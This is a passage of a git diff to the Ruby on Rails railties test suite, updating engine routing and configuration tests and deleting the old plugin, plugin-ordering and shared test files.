-        module Bukkits
-          class Engine < ::Rails::Engine
-          end
+      @plugin.write "config/environments/development.rb", <<-RUBY
+        Bukkits::Engine.configure do
+          config.environment_loaded = true
         end
       RUBY
 
-      @plugin.write "config/environments/development.rb", <<-RUBY
+      @plugin.write "config/environments/additional.rb", <<-RUBY
         Bukkits::Engine.configure do
-          config.environment_loaded = true
+          config.additional_environment_loaded = true
         end
       RUBY
 
       boot_rails
 
       assert Bukkits::Engine.config.environment_loaded
+      assert Bukkits::Engine.config.additional_environment_loaded
     end
 
     test "it passes router in env" do
@@ -254,18 +608,18 @@ module RailtiesTest
 
       app_file "config/routes.rb", <<-RUBY
         AppTemplate::Application.routes.draw do
-          match "/bar" => "bar#index", :as => "bar"
+          get "/bar" => "bar#index", :as => "bar"
           mount Bukkits::Engine => "/bukkits", :as => "bukkits"
         end
       RUBY
 
       @plugin.write "config/routes.rb", <<-RUBY
         Bukkits::Engine.routes.draw do
-          match "/foo" => "foo#index", :as => "foo"
-          match "/foo/show" => "foo#show"
-          match "/from_app" => "foo#from_app"
-          match "/routes_helpers_in_view" => "foo#routes_helpers_in_view"
-          match "/polymorphic_path_without_namespace" => "foo#polymorphic_path_without_namespace"
+          get "/foo" => "foo#index", :as => "foo"
+          get "/foo/show" => "foo#show"
+          get "/from_app" => "foo#from_app"
+          get "/routes_helpers_in_view" => "foo#routes_helpers_in_view"
+          get "/polymorphic_path_without_namespace" => "foo#polymorphic_path_without_namespace"
           resources :posts
         end
       RUBY
@@ -323,7 +677,7 @@ module RailtiesTest
 
       assert_equal "bukkits_", Bukkits.table_name_prefix
       assert_equal "bukkits", Bukkits::Engine.engine_name
-      assert_equal Bukkits._railtie, Bukkits::Engine
+      assert_equal Bukkits.railtie_namespace, Bukkits::Engine
       assert ::Bukkits::MyMailer.method_defined?(:foo_path)
       assert !::Bukkits::MyMailer.method_defined?(:bar_path)
 
@@ -422,7 +776,7 @@ module RailtiesTest
 
       @plugin.write "config/routes.rb", <<-RUBY
         Bukkits::Awesome::Engine.routes.draw do
-          match "/foo" => "foo#index"
+          get "/foo" => "foo#index"
         end
       RUBY
 
@@ -467,7 +821,7 @@ module RailtiesTest
       assert_nil Rails.application.load_seed
     end
 
-    test "using namespace more than once on one module should not overwrite _railtie method" do
+    test "using namespace more than once on one module should not overwrite railtie_namespace method" do
       @plugin.write "lib/bukkits.rb", <<-RUBY
         module AppTemplate
           class Engine < ::Rails::Engine
@@ -484,7 +838,7 @@ module RailtiesTest
 
       boot_rails
 
-      assert_equal AppTemplate._railtie, AppTemplate::Engine
+      assert_equal AppTemplate.railtie_namespace, AppTemplate::Engine
     end
 
     test "properly reload routes" do
@@ -516,8 +870,6 @@ module RailtiesTest
 
       boot_rails
 
-      require "#{rails_root}/config/environment"
-
       get("/foo")
       assert_equal "foo", last_response.body
 
@@ -530,7 +882,7 @@ module RailtiesTest
         module Bukkits
           class Engine < ::Rails::Engine
             config.generators do |g|
-              g.orm             :datamapper
+              g.orm             :data_mapper
               g.template_engine :haml
               g.test_framework  :rspec
             end
@@ -551,7 +903,6 @@ module RailtiesTest
       RUBY
 
       boot_rails
-      require "#{rails_root}/config/environment"
 
       app_generators = Rails.application.config.generators.options[:rails]
       assert_equal :mongoid  , app_generators[:orm]
@@ -559,7 +910,7 @@ module RailtiesTest
       assert_equal :test_unit, app_generators[:test_framework]
 
       generators = Bukkits::Engine.config.generators.options[:rails]
-      assert_equal :datamapper, generators[:orm]
+      assert_equal :data_mapper, generators[:orm]
       assert_equal :haml      , generators[:template_engine]
       assert_equal :rspec     , generators[:test_framework]
     end
@@ -574,7 +925,6 @@ module RailtiesTest
       RUBY
 
       boot_rails
-      require "#{rails_root}/config/environment"
 
       generators = Bukkits::Engine.config.generators.options[:rails]
       assert_equal :active_record, generators[:orm]
@@ -598,7 +948,6 @@ module RailtiesTest
       RUBY
 
       boot_rails
-      require "#{rails_root}/config/environment"
 
       assert_equal "foo", Bukkits.table_name_prefix
     end
@@ -612,7 +961,6 @@ module RailtiesTest
       RUBY
 
       boot_rails
-      require "#{rails_root}/config/environment"
 
       assert_equal Bukkits::Engine.instance, Rails::Engine.find(@plugin.path)
 
@@ -660,11 +1008,237 @@ module RailtiesTest
       add_to_config("config.action_dispatch.show_exceptions = false")
 
       boot_rails
-      require "#{rails_root}/config/environment"
 
-      methods = Bukkits::Engine.helpers.public_instance_methods.collect(&:to_s).sort
-      expected = ["bar", "baz"]
-      assert_equal expected, methods
+      assert_equal [:bar, :baz], Bukkits::Engine.helpers.public_instance_methods.sort
+    end
+
+    test "setting priority for engines with config.railties_order" do
+      @blog = engine "blog" do |plugin|
+        plugin.write "lib/blog.rb", <<-RUBY
+          module Blog
+            class Engine < ::Rails::Engine
+            end
+          end
+        RUBY
+      end
+
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            isolate_namespace Bukkits
+          end
+        end
+      RUBY
+
+      controller "main", <<-RUBY
+        class MainController < ActionController::Base
+          def foo
+            render :inline => '<%= render :partial => "shared/foo" %>'
+          end
+
+          def bar
+            render :inline => '<%= render :partial => "shared/bar" %>'
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get "/foo" => "main#foo"
+          get "/bar" => "main#bar"
+        end
+      RUBY
+
+      @plugin.write "app/views/shared/_foo.html.erb", <<-RUBY
+        Bukkit's foo partial
+      RUBY
+
+      app_file "app/views/shared/_foo.html.erb", <<-RUBY
+        App's foo partial
+      RUBY
+
+      @blog.write "app/views/shared/_bar.html.erb", <<-RUBY
+        Blog's bar partial
+      RUBY
+
+      app_file "app/views/shared/_bar.html.erb", <<-RUBY
+        App's bar partial
+      RUBY
+
+      @plugin.write "app/assets/javascripts/foo.js", <<-RUBY
+        // Bukkit's foo js
+      RUBY
+
+      app_file "app/assets/javascripts/foo.js", <<-RUBY
+        // App's foo js
+      RUBY
+
+      @blog.write "app/assets/javascripts/bar.js", <<-RUBY
+        // Blog's bar js
+      RUBY
+
+      app_file "app/assets/javascripts/bar.js", <<-RUBY
+        // App's bar js
+      RUBY
+
+      add_to_config("config.railties_order = [:all, :main_app, Blog::Engine]")
+
+      boot_rails
+
+      get("/foo")
+      assert_equal "Bukkit's foo partial", last_response.body.strip
+
+      get("/bar")
+      assert_equal "App's bar partial", last_response.body.strip
+
+      get("/assets/foo.js")
+      assert_equal "// Bukkit's foo js\n;", last_response.body.strip
+
+      get("/assets/bar.js")
+      assert_equal "// App's bar js\n;", last_response.body.strip
+
+      # ensure that railties are not added twice
+      railties = Rails.application.send(:ordered_railties).map(&:class)
+      assert_equal railties, railties.uniq
+    end
+
+    test "railties_order adds :all with lowest priority if not given" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+          end
+        end
+      RUBY
+
+      controller "main", <<-RUBY
+        class MainController < ActionController::Base
+          def foo
+            render :inline => '<%= render :partial => "shared/foo" %>'
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get "/foo" => "main#foo"
+        end
+      RUBY
+
+      @plugin.write "app/views/shared/_foo.html.erb", <<-RUBY
+        Bukkit's foo partial
+      RUBY
+
+      app_file "app/views/shared/_foo.html.erb", <<-RUBY
+        App's foo partial
+      RUBY
+
+      add_to_config("config.railties_order = [Bukkits::Engine]")
+
+      boot_rails
+
+      get("/foo")
+      assert_equal "Bukkit's foo partial", last_response.body.strip
+    end
+
+    test "engine can be properly mounted at root" do
+      add_to_config("config.action_dispatch.show_exceptions = false")
+      add_to_config("config.serve_static_assets = false")
+
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            isolate_namespace ::Bukkits
+          end
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Bukkits::Engine.routes.draw do
+          root "foo#index"
+        end
+      RUBY
+
+      @plugin.write "app/controllers/bukkits/foo_controller.rb", <<-RUBY
+        module Bukkits
+          class FooController < ActionController::Base
+            def index
+              text = <<-TEXT
+                script_name: \#{request.script_name}
+                fullpath: \#{request.fullpath}
+                path: \#{request.path}
+              TEXT
+              render :text => text
+            end
+          end
+        end
+      RUBY
+
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          mount Bukkits::Engine => "/"
+        end
+      RUBY
+
+      boot_rails
+
+      expected = <<-TEXT
+        script_name:
+        fullpath: /
+        path: /
+      TEXT
+
+      get("/")
+      assert_equal expected.split("\n").map(&:strip),
+                   last_response.body.split("\n").map(&:strip)
+    end
+
+    test "paths are properly generated when application is mounted at sub-path" do
+      @plugin.write "lib/bukkits.rb", <<-RUBY
+        module Bukkits
+          class Engine < ::Rails::Engine
+            isolate_namespace Bukkits
+          end
+        end
+      RUBY
+
+      app_file "app/controllers/bar_controller.rb", <<-RUBY
+        class BarController < ApplicationController
+          def index
+            render :text => bukkits.bukkit_path
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        AppTemplate::Application.routes.draw do
+          get '/bar' => 'bar#index', :as => 'bar'
+          mount Bukkits::Engine => "/bukkits", :as => "bukkits"
+        end
+      RUBY
+
+      @plugin.write "config/routes.rb", <<-RUBY
+        Bukkits::Engine.routes.draw do
+          get '/bukkit' => 'bukkit#index'
+        end
+      RUBY
+
+
+      @plugin.write "app/controllers/bukkits/bukkit_controller.rb", <<-RUBY
+        class Bukkits::BukkitController < ActionController::Base
+          def index
+            render :text => main_app.bar_path
+          end
+        end
+      RUBY
+
+      boot_rails
+
+      get("/bukkits/bukkit", {}, {'SCRIPT_NAME' => '/foo'})
+      assert_equal '/foo/bar', last_response.body
+
+      get("/bar", {}, {'SCRIPT_NAME' => '/foo'})
+      assert_equal '/foo/bukkits/bukkit', last_response.body
     end
 
   private
diff --git a/railties/test/railties/generators_test.rb b/railties/test/railties/generators_test.rb
index f8540d69d9..c90b795d59 100644
--- a/railties/test/railties/generators_test.rb
+++ b/railties/test/railties/generators_test.rb
@@ -8,11 +8,13 @@ module RailtiesTests
   class GeneratorTest < Rails::Generators::TestCase
     include ActiveSupport::Testing::Isolation
 
-    TMP_PATH = File.expand_path(File.join(File.dirname(__FILE__), *%w[.. .. tmp]))
-    self.destination_root = File.join(TMP_PATH, "foo_bar")
+    def destination_root
+      tmp_path 'foo_bar'
+    end
 
     def tmp_path(*args)
-      File.join(TMP_PATH, *args)
+      @tmp_path ||= File.realpath(Dir.mktmpdir)
+      File.join(@tmp_path, *args)
     end
 
     def engine_path
@@ -46,10 +48,6 @@ module RailtiesTests
 
             gem 'rails', :path => '#{RAILS_FRAMEWORK_ROOT}'
             gem 'sqlite3'
-
-            if RUBY_VERSION < '1.9'
-              gem "ruby-debug", ">= 0.10.3"
-            end
           GEMFILE
         end
       end
@@ -77,6 +75,18 @@ module RailtiesTests
       end
     end
 
+    def test_table_name_prefix_is_correctly_namespaced_when_engine_is_mountable
+      build_mountable_engine
+      Dir.chdir(engine_path) do
+        bundled_rails("g model namespaced/topic")
+        assert_file "app/models/foo_bar/namespaced.rb", /module FooBar\n  module Namespaced/ do |content|
+          assert_class_method :table_name_prefix, content do |method_content|
+            assert_match(/'foo_bar_namespaced_'/, method_content)
+          end
+        end
+      end
+    end
+
     def test_helpers_are_correctly_namespaced_when_engine_is_mountable
       build_mountable_engine
       Dir.chdir(engine_path) do
diff --git a/railties/test/railties/mounted_engine_test.rb b/railties/test/railties/mounted_engine_test.rb
index 0491fc2174..bd13c3aba3 100644
--- a/railties/test/railties/mounted_engine_test.rb
+++ b/railties/test/railties/mounted_engine_test.rb
@@ -1,7 +1,7 @@
 require 'isolation/abstract_unit'
 
 module ApplicationTests
-  class ApplicationRoutingTest < Test::Unit::TestCase
+  class ApplicationRoutingTest < ActiveSupport::TestCase
      require 'rack/test'
      include Rack::Test::Methods
      include ActiveSupport::Testing::Isolation
@@ -18,13 +18,13 @@ module ApplicationTests
         AppTemplate::Application.routes.draw do
           mount Weblog::Engine, :at => '/', :as => 'weblog'
           resources :posts
-          match "/engine_route" => "application_generating#engine_route"
-          match "/engine_route_in_view" => "application_generating#engine_route_in_view"
-          match "/weblog_engine_route" => "application_generating#weblog_engine_route"
-          match "/weblog_engine_route_in_view" => "application_generating#weblog_engine_route_in_view"
-          match "/url_for_engine_route" => "application_generating#url_for_engine_route"
-          match "/polymorphic_route" => "application_generating#polymorphic_route"
-          match "/application_polymorphic_path" => "application_generating#application_polymorphic_path"
+          get "/engine_route" => "application_generating#engine_route"
+          get "/engine_route_in_view" => "application_generating#engine_route_in_view"
+          get "/weblog_engine_route" => "application_generating#weblog_engine_route"
+          get "/weblog_engine_route_in_view" => "application_generating#weblog_engine_route_in_view"
+          get "/url_for_engine_route" => "application_generating#url_for_engine_route"
+          get "/polymorphic_route" => "application_generating#polymorphic_route"
+          get "/application_polymorphic_path" => "application_generating#application_polymorphic_path"
           scope "/:user", :user => "anonymous" do
             mount Blog::Engine => "/blog"
           end
@@ -42,7 +42,7 @@ module ApplicationTests
 
       @simple_plugin.write "config/routes.rb", <<-RUBY
         Weblog::Engine.routes.draw do
-          match '/weblog' => "weblogs#index", :as => 'weblogs'
+          get '/weblog' => "weblogs#index", :as => 'weblogs'
         end
       RUBY
 
@@ -86,9 +86,9 @@ module ApplicationTests
       @plugin.write "config/routes.rb", <<-RUBY
         Blog::Engine.routes.draw do
           resources :posts
-          match '/generate_application_route', :to => 'posts#generate_application_route'
-          match '/application_route_in_view', :to => 'posts#application_route_in_view'
-          match '/engine_polymorphic_path', :to => 'posts#engine_polymorphic_path'
+          get '/generate_application_route', :to => 'posts#generate_application_route'
+          get '/application_route_in_view', :to => 'posts#application_route_in_view'
+          get '/engine_polymorphic_path', :to => 'posts#engine_polymorphic_path'
         end
       RUBY
 
@@ -163,24 +163,14 @@ module ApplicationTests
       end
     end
 
-    def reset_script_name!
-      Rails.application.routes.default_url_options = {}
-    end
-
-    def script_name(script_name)
-      Rails.application.routes.default_url_options = {:script_name => script_name}
-    end
-
     test "routes generation in engine and application" do
       # test generating engine's route from engine
       get "/john/blog/posts"
       assert_equal "/john/blog/posts/1", last_response.body
 
       # test generating engine's route from engine with default_url_options
-      script_name "/foo"
       get "/john/blog/posts", {}, 'SCRIPT_NAME' => "/foo"
       assert_equal "/foo/john/blog/posts/1", last_response.body
-      reset_script_name!
 
       # test generating engine's route from application
       get "/engine_route"
@@ -193,14 +183,11 @@ module ApplicationTests
       assert_equal "/john/blog/posts", last_response.body
 
       # test generating engine's route from application with default_url_options
-      script_name "/foo"
       get "/engine_route", {}, 'SCRIPT_NAME' => "/foo"
       assert_equal "/foo/anonymous/blog/posts", last_response.body
 
-      script_name "/foo"
       get "/url_for_engine_route", {}, 'SCRIPT_NAME' => "/foo"
       assert_equal "/foo/john/blog/posts", last_response.body
-      reset_script_name!
 
       # test generating application's route from engine
       get "/someone/blog/generate_application_route"
@@ -210,10 +197,8 @@ module ApplicationTests
       assert_equal "/", last_response.body
 
       # test generating application's route from engine with default_url_options
-      script_name "/foo"
       get "/someone/blog/generate_application_route", {}, 'SCRIPT_NAME' => '/foo'
       assert_equal "/foo/", last_response.body
-      reset_script_name!
 
       # test polymorphic routes
       get "/polymorphic_route"
diff --git a/railties/test/railties/plugin_ordering_test.rb b/railties/test/railties/plugin_ordering_test.rb
deleted file mode 100644
index 1cfaf557e9..0000000000
--- a/railties/test/railties/plugin_ordering_test.rb
+++ /dev/null
@@ -1,76 +0,0 @@
-require "isolation/abstract_unit"
-
-module RailtiesTest
-  class PluginOrderingTest < Test::Unit::TestCase
-    include ActiveSupport::Testing::Isolation
-
-    def setup
-      build_app
-      $arr = []
-      plugin "a_plugin", "$arr << :a"
-      plugin "b_plugin", "$arr << :b"
-      plugin "c_plugin", "$arr << :c"
-    end
-
-    def teardown
-      teardown_app
-    end
-
-    def boot_rails
-      super
-      require "#{app_path}/config/environment"
-    end
-
-    test "plugins are loaded alphabetically by default" do
-      boot_rails
-      assert_equal [:a, :b, :c], $arr
-    end
-
-    test "if specified, only those plugins are loaded" do
-      add_to_config "config.plugins = [:b_plugin]"
-      boot_rails
-      assert_equal [:b], $arr
-    end
-
-    test "the plugins are initialized in the order they are specified" do
-      add_to_config "config.plugins = [:b_plugin, :a_plugin]"
-      boot_rails
-      assert_equal [:b, :a], $arr
-    end
-
-    test "if :all is specified, the remaining plugins are loaded in alphabetical order" do
-      add_to_config "config.plugins = [:c_plugin, :all]"
-      boot_rails
-      assert_equal [:c, :a, :b], $arr
-    end
-
-    test "if :all is at the beginning, it represents the plugins not otherwise specified" do
-      add_to_config "config.plugins = [:all, :b_plugin]"
-      boot_rails
-      assert_equal [:a, :c, :b], $arr
-    end
-
-    test "plugin order array is strings" do
-      add_to_config "config.plugins = %w( c_plugin all )"
-      boot_rails
-      assert_equal [:c, :a, :b], $arr
-    end
-
-    test "can require lib file from a different plugin" do
-      plugin "foo", "require 'bar'" do |plugin|
-        plugin.write "lib/foo.rb", "$foo = true"
-      end
-
-      plugin "bar", "require 'foo'" do |plugin|
-        plugin.write "lib/bar.rb", "$bar = true"
-      end
-
-      add_to_config "config.plugins = [:foo, :bar]"
-
-      boot_rails
-
-      assert $foo
-      assert $bar
-    end
-  end
-end
diff --git a/railties/test/railties/plugin_test.rb b/railties/test/railties/plugin_test.rb
deleted file mode 100644
index f307d53cf7..0000000000
--- a/railties/test/railties/plugin_test.rb
+++ /dev/null
@@ -1,123 +0,0 @@
-require "isolation/abstract_unit"
-require "railties/shared_tests"
-
-module RailtiesTest
-  class PluginTest < Test::Unit::TestCase
-    include ActiveSupport::Testing::Isolation
-    include SharedTests
-
-    def setup
-      build_app
-
-      @plugin = plugin "bukkits", "::LEVEL = config.log_level" do |plugin|
-        plugin.write "lib/bukkits.rb", "class Bukkits; end"
-        plugin.write "lib/another.rb", "class Another; end"
-      end
-    end
-
-    def teardown
-      teardown_app
-    end
-
-    test "Rails::Plugin itself does not respond to config" do
-      boot_rails
-      assert !Rails::Plugin.respond_to?(:config)
-    end
-
-    test "cannot inherit from Rails::Plugin" do
-      boot_rails
-      assert_raise RuntimeError do
-        class Foo < Rails::Plugin; end
-      end
-    end
-
-    test "plugin can load the file with the same name in lib" do
-      boot_rails
-      require "bukkits"
-      assert_equal "Bukkits", Bukkits.name
-    end
-
-    test "plugin gets added to dependency list" do
-      boot_rails
-      assert_equal "Another", Another.name
-    end
-
-    test "plugin constants get reloaded if config.reload_plugins is set to true" do
-      add_to_config <<-RUBY
-        config.reload_plugins = true
-      RUBY
-
-      boot_rails
-
-      assert_equal "Another", Another.name
-      ActiveSupport::Dependencies.clear
-      @plugin.delete("lib/another.rb")
-      assert_raises(NameError) { Another }
-    end
-
-    test "plugin constants are not reloaded by default" do
-      boot_rails
-      assert_equal "Another", Another.name
-      ActiveSupport::Dependencies.clear
-      @plugin.delete("lib/another.rb")
-      assert_nothing_raised { Another }
-    end
-
-    test "it loads the plugin's init.rb file" do
-      boot_rails
-      assert_equal "loaded", BUKKITS
-    end
-
-    test "the init.rb file has access to the config object" do
-      boot_rails
-      assert_equal :debug, LEVEL
-    end
-
-    test "plugin_init_is_run_before_application_ones" do
-      plugin "foo", "$foo = true" do |plugin|
-        plugin.write "lib/foo.rb", "module Foo; end"
-      end
-
-      app_file 'config/initializers/foo.rb', <<-RUBY
-        raise "no $foo" unless $foo
-        raise "no Foo" unless Foo
-      RUBY
-
-      boot_rails
-      assert $foo
-    end
-
-    test "plugin should work without init.rb" do
-      @plugin.delete("init.rb")
-
-      boot_rails
-
-      require "bukkits"
-      assert_nothing_raised { Bukkits }
-    end
-
-    test "plugin cannot declare an engine for it" do
-      @plugin.write "lib/bukkits.rb", <<-RUBY
-        class Bukkits
-          class Engine < Rails::Engine
-          end
-        end
-      RUBY
-
-      @plugin.write "init.rb", <<-RUBY
-        require "bukkits"
-      RUBY
-
-      rescued = false
-
-      begin
-        boot_rails
-      rescue Exception => e
-        rescued = true
-        assert_equal '"bukkits" is a Railtie/Engine and cannot be installed as a plugin', e.message
-      end
-
-      assert rescued, "Expected boot rails to fail"
-    end
-  end
-end
diff --git a/railties/test/railties/railtie_test.rb b/railties/test/railties/railtie_test.rb
index 55f85c7202..c80b0f63af 100644
--- a/railties/test/railties/railtie_test.rb
+++ b/railties/test/railties/railtie_test.rb
@@ -1,7 +1,7 @@
 require "isolation/abstract_unit"
 
 module RailtiesTest
-  class RailtieTest < Test::Unit::TestCase
+  class RailtieTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def setup
@@ -163,6 +163,22 @@ module RailtiesTest
       assert $ran_block
     end
 
+    test "runner block is executed when MyApp.load_runner is called" do
+      $ran_block = false
+
+      class MyTie < Rails::Railtie
+        runner do
+          $ran_block = true
+        end
+      end
+
+      require "#{app_path}/config/environment"
+
+      assert !$ran_block
+      AppTemplate::Application.load_runner
+      assert $ran_block
+    end
+
     test "railtie can add initializers" do
       $ran_block = false
 
diff --git a/railties/test/railties/shared_tests.rb b/railties/test/railties/shared_tests.rb
deleted file mode 100644
index 7653e52d26..0000000000
--- a/railties/test/railties/shared_tests.rb
+++ /dev/null
@@ -1,378 +0,0 @@
-module RailtiesTest
-  # Holds tests shared between plugin and engines
-  module SharedTests
-    def boot_rails
-      super
-      require "#{app_path}/config/environment"
-    end
-
-    def app
-      @app ||= Rails.application
-    end
-
-    def test_serving_sprockets_assets
-      @plugin.write "app/assets/javascripts/engine.js.erb", "<%= :alert %>();"
-
-      boot_rails
-      require 'rack/test'
-      extend Rack::Test::Methods
-
-      get "/assets/engine.js"
-      assert_match "alert()", last_response.body
-    end
-
-    def test_rake_environment_can_be_called_in_the_engine_or_plugin
-      boot_rails
-
-      @plugin.write "Rakefile", <<-RUBY
-        APP_RAKEFILE = '#{app_path}/Rakefile'
-        load 'rails/tasks/engine.rake'
-        task :foo => :environment do
-          puts "Task ran"
-        end
-      RUBY
-
-      Dir.chdir(@plugin.path) do
-        output = `bundle exec rake foo`
-        assert_match "Task ran", output
-      end
-    end
-
-    def test_copying_migrations
-      @plugin.write "db/migrate/1_create_users.rb", <<-RUBY
-        class CreateUsers < ActiveRecord::Migration
-        end
-      RUBY
-
-      @plugin.write "db/migrate/2_add_last_name_to_users.rb", <<-RUBY
-        class AddLastNameToUsers < ActiveRecord::Migration
-        end
-      RUBY
-
-      @plugin.write "db/migrate/3_create_sessions.rb", <<-RUBY
-        class CreateSessions < ActiveRecord::Migration
-        end
-      RUBY
-
-      app_file "db/migrate/1_create_sessions.rb", <<-RUBY
-        class CreateSessions < ActiveRecord::Migration
-        end
-      RUBY
-
-      yaffle = plugin "acts_as_yaffle", "::LEVEL = config.log_level" do |plugin|
-        plugin.write "lib/acts_as_yaffle.rb", "class ActsAsYaffle; end"
-      end
-
-      yaffle.write "db/migrate/1_create_yaffles.rb", <<-RUBY
-        class CreateYaffles < ActiveRecord::Migration
-        end
-      RUBY
-
-      add_to_config "ActiveRecord::Base.timestamped_migrations = false"
-
-      boot_rails
-      railties = Rails.application.railties.all.map(&:railtie_name)
-
-      Dir.chdir(app_path) do
-        output = `bundle exec rake bukkits:install:migrations`
-
-        assert File.exists?("#{app_path}/db/migrate/2_create_users.rb")
-        assert File.exists?("#{app_path}/db/migrate/3_add_last_name_to_users.rb")
-        assert_match(/Copied migration 2_create_users.rb from bukkits/, output)
-        assert_match(/Copied migration 3_add_last_name_to_users.rb from bukkits/, output)
-        assert_match(/NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output)
-        assert_equal 3, Dir["#{app_path}/db/migrate/*.rb"].length
-
-        output = `bundle exec rake railties:install:migrations`.split("\n")
-
-        assert File.exists?("#{app_path}/db/migrate/4_create_yaffles.rb")
-        assert_no_match(/2_create_users/, output.join("\n"))
-
-        yaffle_migration_order = output.index(output.detect{|o| /Copied migration 4_create_yaffles.rb from acts_as_yaffle/ =~ o })
-        bukkits_migration_order = output.index(output.detect{|o| /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/ =~ o })
-        assert_not_nil yaffle_migration_order, "Expected migration to be copied"
-        assert_not_nil bukkits_migration_order, "Expected migration to be skipped"
-        assert_equal(railties.index('acts_as_yaffle') > railties.index('bukkits'), yaffle_migration_order > bukkits_migration_order)
-
-        migrations_count = Dir["#{app_path}/db/migrate/*.rb"].length
-        output = `bundle exec rake railties:install:migrations`
-
-        assert_equal migrations_count, Dir["#{app_path}/db/migrate/*.rb"].length
-      end
-    end
-
-    def test_no_rake_task_without_migrations
-      boot_rails
-      require 'rake'
-      require 'rdoc/task'
-      require 'rake/testtask'
-      Rails.application.load_tasks
-      assert !Rake::Task.task_defined?('bukkits:install:migrations')
-    end
-
-    def test_puts_its_lib_directory_on_load_path
-      boot_rails
-      require "another"
-      assert_equal "Another", Another.name
-    end
-
-    def test_puts_its_models_directory_on_autoload_path
-      @plugin.write "app/models/my_bukkit.rb", "class MyBukkit ; end"
-      boot_rails
-      assert_nothing_raised { MyBukkit }
-    end
-
-    def test_puts_its_controllers_directory_on_autoload_path
-      @plugin.write "app/controllers/bukkit_controller.rb", "class BukkitController ; end"
-      boot_rails
-      assert_nothing_raised { BukkitController }
-    end
-
-    def test_adds_its_views_to_view_paths
-      @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
-        class BukkitController < ActionController::Base
-          def index
-          end
-        end
-      RUBY
-
-      @plugin.write "app/views/bukkit/index.html.erb", "Hello bukkits"
-
-      boot_rails
-
-      require "action_controller"
-      require "rack/mock"
-      response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
-      assert_equal "Hello bukkits\n", response[2].body
-    end
-
-    def test_adds_its_views_to_view_paths_with_lower_proriority_than_app_ones
-      @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
-        class BukkitController < ActionController::Base
-          def index
-          end
-        end
-      RUBY
-
-      @plugin.write "app/views/bukkit/index.html.erb", "Hello bukkits"
-      app_file "app/views/bukkit/index.html.erb", "Hi bukkits"
-
-      boot_rails
-
-      require "action_controller"
-      require "rack/mock"
-      response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
-      assert_equal "Hi bukkits\n", response[2].body
-    end
-
-    def test_adds_helpers_to_controller_views
-      @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
-        class BukkitController < ActionController::Base
-          def index
-          end
-        end
-      RUBY
-
-      @plugin.write "app/helpers/bukkit_helper.rb", <<-RUBY
-        module BukkitHelper
-          def bukkits
-            "bukkits"
-          end
-        end
-      RUBY
-
-      @plugin.write "app/views/bukkit/index.html.erb", "Hello <%= bukkits %>"
-
-      boot_rails
-
-      require "rack/mock"
-      response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
-      assert_equal "Hello bukkits\n", response[2].body
-    end
-
-    def test_autoload_any_path_under_app
-      @plugin.write "app/anything/foo.rb", <<-RUBY
-        module Foo; end
-      RUBY
-      boot_rails
-      assert Foo
-    end
-
-    def test_routes_are_added_to_router
-      @plugin.write "config/routes.rb", <<-RUBY
-        class Sprokkit
-          def self.call(env)
-            [200, {'Content-Type' => 'text/html'}, ["I am a Sprokkit"]]
-          end
-        end
-
-        Rails.application.routes.draw do
-          match "/sprokkit", :to => Sprokkit
-        end
-      RUBY
-
-      boot_rails
-      require 'rack/test'
-      extend Rack::Test::Methods
-
-      get "/sprokkit"
-      assert_equal "I am a Sprokkit", last_response.body
-    end
-
-    def test_routes_in_plugins_have_lower_priority_than_application_ones
-      controller "foo", <<-RUBY
-        class FooController < ActionController::Base
-          def index
-            render :text => "foo"
-          end
-        end
-      RUBY
-
-      app_file "config/routes.rb", <<-RUBY
-        AppTemplate::Application.routes.draw do
-          match 'foo', :to => 'foo#index'
-        end
-      RUBY
-
-      @plugin.write "app/controllers/bar_controller.rb", <<-RUBY
-        class BarController < ActionController::Base
-          def index
-            render :text => "bar"
-          end
-        end
-      RUBY
-
-      @plugin.write "config/routes.rb", <<-RUBY
-        Rails.application.routes.draw do
-          match 'foo', :to => 'bar#index'
-          match 'bar', :to => 'bar#index'
-        end
-      RUBY
-
-      boot_rails
-      require 'rack/test'
-      extend Rack::Test::Methods
-
-      get '/foo'
-      assert_equal 'foo', last_response.body
-
-      get '/bar'
-      assert_equal 'bar', last_response.body
-    end
-
-    def test_rake_tasks_lib_tasks_are_loaded
-      $executed = false
-      @plugin.write "lib/tasks/foo.rake", <<-RUBY
-        task :foo do
-          $executed = true
-        end
-      RUBY
-
-      boot_rails
-      require 'rake'
-      require 'rdoc/task'
-      require 'rake/testtask'
-      Rails.application.load_tasks
-      Rake::Task[:foo].invoke
-      assert $executed
-    end
-
-    def test_i18n_files_have_lower_priority_than_application_ones
-      add_to_config <<-RUBY
-        config.i18n.load_path << "#{app_path}/app/locales/en.yml"
-      RUBY
-
-      app_file 'app/locales/en.yml', <<-YAML
-en:
-  bar: "1"
-YAML
-
-      app_file 'config/locales/en.yml', <<-YAML
-en:
-  foo: "2"
-  bar: "2"
-YAML
-
-      @plugin.write 'config/locales/en.yml', <<-YAML
-en:
-  foo: "3"
-YAML
-
-      boot_rails
-
-      expected_locales = %W(
-        #{RAILS_FRAMEWORK_ROOT}/activesupport/lib/active_support/locale/en.yml
-        #{RAILS_FRAMEWORK_ROOT}/activemodel/lib/active_model/locale/en.yml
-        #{RAILS_FRAMEWORK_ROOT}/activerecord/lib/active_record/locale/en.yml
-        #{RAILS_FRAMEWORK_ROOT}/actionpack/lib/action_view/locale/en.yml
-        #{@plugin.path}/config/locales/en.yml
-        #{app_path}/config/locales/en.yml
-        #{app_path}/app/locales/en.yml
-      ).map { |path| File.expand_path(path) }
-
-      actual_locales = I18n.load_path.map { |path|
